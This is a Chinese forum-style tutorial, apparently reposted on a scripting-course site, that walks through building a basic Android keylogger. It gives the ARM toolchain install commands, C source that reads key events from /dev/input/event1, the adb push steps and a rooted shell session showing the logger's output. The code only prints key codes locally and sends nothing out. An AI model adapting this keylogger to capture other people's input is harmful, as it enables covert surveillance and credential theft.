欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]Android -- 键盘记录 研究及补充

[原创]Android -- 键盘记录 研究及补充

鉴于之前看见的hacknet大哥写的帖子,很多人说编译不了,没有源码什么的,
我做了如下整理,在我的MOTO机器上运行可以了。
附上代码和操作步骤!
标 题: 【原创】Android操作系统安全研究系列——键盘记录

首先你得先安装
arm-none-linux-gnueabi-gcc
这东西
我是在ubuntu下的,所以命令操作就如下
wget http://www.codesourcery.com/sgpp/lite/arm/portal/package4571/public/arm-none-linux-gnueabi/arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
然后
拷贝
sudo cp arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2 /usr/local
解压
sudo tar -jxvf arm-2009q1-203-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
设置环境变量
export PATH=$PATH:/usr/local/arm-2009q1/bin/
此设置方法不是 永久性的,永久性的你可以自己更改/etc/bash.bashrc文件
OK了,可以准备编译了。
代码如下:
#include <stdio.h>
#include <stddef.h>
#include <linux/input.h>
#include <fcntl.h>
static int event0_fd = -1;
struct input_event ev0[64];
static int handle_event0()
{
        int button , i, rd;
        button = 0;
       
        rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
        printf("handle_event0 rd = %d  \n",rd);
     
        if ( rd < sizeof(struct input_event) )
        {
                 return 0;
        }
         printf("handle_event0 read OK ...\n");
     
        for (i = 0; i < rd / sizeof(struct input_event); i++)
        {
         if (ev0[i].type == 1&&ev0[i].value == 1)
                {
                        printf("Press Key: %3d\n", ev0[i].code);
              if (ev0[i].code == 158)
                           {
                                  printf("Press Key code: 158 ...\n");
                  return 0;
               }
         }
         
     }
         printf("Press Key: test ...\n");
      return 1;
  }
  int main(int argc, char* argv[])
{
          int done;
          done = 1;
      
          event0_fd = open("/dev/input/event1", O_RDWR);
      
          if ( event0_fd < 0 )
          {
                  return -1;
          
          }
      
          printf("Listening...\n");
      
          while(done)
          {
          done = handle_event0();
          }
          return 0;
}
然后
arm-none-linux-gnueabi-gcc -static key.c -o key

然后把生成的Key 给他PUSH到你的安卓鸡鸡上。

我这边是放在我的安卓鸡鸡路径的/dev/xxtest/目录下面
然后,按照下图这样的操作就完成了。

第一次写啊,高手莫砸哈。。。谢谢!
鉴于最后一张图不咋清晰,我把操作步骤复制出来了。
D:\Program Files\Shuame>adb shell
shell@edison:/ $ cd /dev/xxtest
cd /dev/xxtest
shell@edison:/dev/xxtest $ ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $
shell@edison:/dev/xxtest $ su
su
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rw-rw-rw- shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # chmod 777 key
chmod 777 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ll
ll
-rwxrwxrwx shell    shell      588392 2013-12-12 16:22 key
root@edison:/dev/xxtest #
root@edison:/dev/xxtest #
root@edison:/dev/xxtest # ./key
./key
Listening...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 32
handle_event0 read OK ...
Press Key: test ...
handle_event0 rd = 48
补充下:
event0_fd = open("/dev/input/event1", O_RDWR);
这个代码有时候需要改,因为之前那位大哥写的是event0,可是我一直没显示输出。最后我进入我的手机安卓系统,用getevent命令查看,才发现我的是event1,所以就改了下。
就是如何查看event多少呢?
打开CMD
然后输入
adb shell
然后
su
然后
getevent
就可以看见是event几了。。。
好叻。收尾。。。

上传的附件 2.jpg
3.jpg
5.jpg

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功